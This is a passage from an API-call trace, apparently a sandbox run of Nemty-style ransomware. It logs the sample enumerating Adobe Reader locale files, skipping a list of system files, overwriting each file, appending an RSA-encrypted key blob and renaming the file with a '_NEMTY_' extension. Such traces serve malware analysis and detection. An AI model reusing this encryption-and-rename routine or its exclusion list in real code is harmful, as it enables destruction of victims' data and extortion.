dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.055] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.FRA", cAlternateFileName="")) returned 1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2=".") returned 1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="..") returned 1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="...") returned 1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="windows") returned -1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="$RECYCLE.BIN") returned 1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="rsa") returned -1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="NTDETECT.COM") returned -1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="ntldr") returned -1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="MSDOS.SYS") returned -1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="IO.SYS") returned -1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="boot.ini") returned 1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="boot.ini") returned 1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="ntuser.dat") returned -1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="desktop.ini") returned 1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="CONFIG.SYS") returned 1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="RECYCLER") returned -1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="BOOTSECT.BAK") returned 1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="bootmgr") returned 1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="programdata") returned -1 [0177.055] lstrcmpiW (lpString1="DigSig.FRA", lpString2="appdata") returned 1 [0177.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.FRA", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.FRA", lpUsedDefaultChar=0x0) returned 10 [0177.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.FRA", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.FRA", lpUsedDefaultChar=0x0) returned 10 [0177.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.FRA", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.FRA", lpUsedDefaultChar=0x0) returned 10 [0177.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.FRA", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.FRA", lpUsedDefaultChar=0x0) returned 10 [0177.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.056] Sleep (dwMilliseconds=0x5) [0177.058] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d2e7af0, dwHighDateTime=0x1d561e8)) [0177.058] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d2e7af0, dwHighDateTime=0x1d561e8)) [0177.058] GetLastError () returned 0x0 [0177.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.058] GetLastError () returned 0x0 [0177.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.058] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.058] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.058] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.058] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="5R85nFNjWCWa1rpg7ftQiWFNghQ4myMmPmm9IjPIb5Tb0kZGHF00GOuFnQwiGDi6\r\nKKC1UnNWoTzJ5m6IOOAsVo5iUmad6EwdmS5jus54g68Mv3OTUd0YknUszbxTc2UT\r\n8p+qnv3K/l59wVJVCG5Hq5pHeuUPaDJrf/V4VSGuq9vnJJ4Mii0RVdcIw45mkzwf\r\nSE0gJDjiTCTE9H7AVBwlp06td/lcTc66uah1HPOnYnFTRnS3akiYtXcbSosKXYrD\r\nF8GoZayw7OtF0T48gFplHStislKJ+dQGvCasaxYM3sH+6AIByvvglZ4NFvNNwiQp\r\nsehKcaAVejXJEk8ssU94Tw==\r\n", pcchString=0x653e5dc) returned 1 [0177.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.058] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\DigSig.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\digsig.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.059] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=138240) returned 1 [0177.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0177.059] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.059] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0177.068] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.068] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0177.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.068] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=138240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x21c00 [0177.068] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.068] CloseHandle (hObject=0x2e8) returned 1 [0177.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0177.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.069] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\DigSig.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\digsig.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\DigSig.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\digsig.fra._nemty_kgobjgd_")) returned 1 [0177.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0177.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.069] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.FRA", cAlternateFileName="")) returned 1 [0177.069] lstrcmpiW (lpString1="DVA.FRA", lpString2=".") returned 1 [0177.069] lstrcmpiW (lpString1="DVA.FRA", lpString2="..") returned 1 [0177.069] lstrcmpiW (lpString1="DVA.FRA", lpString2="...") returned 1 [0177.069] lstrcmpiW (lpString1="DVA.FRA", lpString2="windows") returned -1 [0177.069] lstrcmpiW (lpString1="DVA.FRA", lpString2="$RECYCLE.BIN") returned 1 [0177.070] lstrcmpiW (lpString1="DVA.FRA", lpString2="rsa") returned -1 [0177.070] lstrcmpiW (lpString1="DVA.FRA", lpString2="NTDETECT.COM") returned -1 [0177.070] lstrcmpiW (lpString1="DVA.FRA", lpString2="ntldr") returned -1 [0177.070] lstrcmpiW (lpString1="DVA.FRA", lpString2="MSDOS.SYS") returned -1 [0177.070] lstrcmpiW (lpString1="DVA.FRA", lpString2="IO.SYS") returned -1 [0177.070] lstrcmpiW (lpString1="DVA.FRA", lpString2="boot.ini") returned 1 [0177.070] lstrcmpiW (lpString1="DVA.FRA", lpString2="boot.ini") returned 1 [0177.070] lstrcmpiW (lpString1="DVA.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0177.070] lstrcmpiW (lpString1="DVA.FRA", lpString2="ntuser.dat") returned -1 [0177.070] lstrcmpiW (lpString1="DVA.FRA", lpString2="desktop.ini") returned 1 [0177.070] lstrcmpiW (lpString1="DVA.FRA", lpString2="CONFIG.SYS") returned 1 [0177.070] lstrcmpiW (lpString1="DVA.FRA", lpString2="RECYCLER") returned -1 [0177.070] lstrcmpiW (lpString1="DVA.FRA", lpString2="BOOTSECT.BAK") returned 1 [0177.070] lstrcmpiW (lpString1="DVA.FRA", lpString2="bootmgr") returned 1 [0177.070] lstrcmpiW (lpString1="DVA.FRA", lpString2="programdata") returned -1 [0177.070] lstrcmpiW (lpString1="DVA.FRA", lpString2="appdata") returned 1 [0177.070] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.FRA", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.070] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.FRA", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.FRA", lpUsedDefaultChar=0x0) returned 7 [0177.070] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.FRA", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.070] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.FRA", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.FRA", lpUsedDefaultChar=0x0) returned 7 [0177.070] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.FRA", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.070] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.FRA", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.FRA", lpUsedDefaultChar=0x0) returned 7 [0177.070] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.FRA", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.070] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.FRA", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.FRA", lpUsedDefaultChar=0x0) returned 7 [0177.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.070] Sleep (dwMilliseconds=0x5) [0177.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d30dc50, dwHighDateTime=0x1d561e8)) [0177.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d30dc50, dwHighDateTime=0x1d561e8)) [0177.073] GetLastError () returned 0x0 [0177.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.073] GetLastError () returned 0x0 [0177.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.074] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.074] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.074] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.074] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="3TdEyCPlEqjzJamb6jvZLqGaFou/fgSIDTeI0AYmFoT7EKVAmojyrohMUJ2uEIQR\r\n1C4o2IAJSqwVREv7lj+gJetEiTGXeNmQh2e8nfIG2vEnH+VAj4Hmxfdz1Kv0a39i\r\njqYcY4aoRhLS91pjDfZN2jNYOPzHahTRYg1XiJRjbKv9zGpQKRT8Atbc3oJ4E8ws\r\nCGTsCYwTkGUE5q17hs61gWEd53E/O+hJIxT0NRVyAxqgMgqwlZp4twDI7254Q9Og\r\n9D4rLkYz+UiXnksFkzWLJe0RTocN8E2x0sRfoRxdLWKF6QtvKTpMPw33mMULzrA8\r\nXQZqGq1OlbB1pcSshQ3yeA==\r\n", pcchString=0x653e5dc) returned 1 [0177.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.074] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\DVA.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\dva.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.074] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=19968) returned 1 [0177.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4e00) returned 0x6352c48 [0177.074] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.074] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4e00, lpOverlapped=0x0) returned 1 [0177.077] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.077] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4e00, lpOverlapped=0x0) returned 1 [0177.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.077] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=19968, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e00 [0177.078] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.078] CloseHandle (hObject=0x2e8) returned 1 [0177.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.078] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.078] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0177.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0177.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0177.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.078] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\DVA.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\dva.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\DVA.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\dva.fra._nemty_kgobjgd_")) returned 1 [0177.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0177.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | 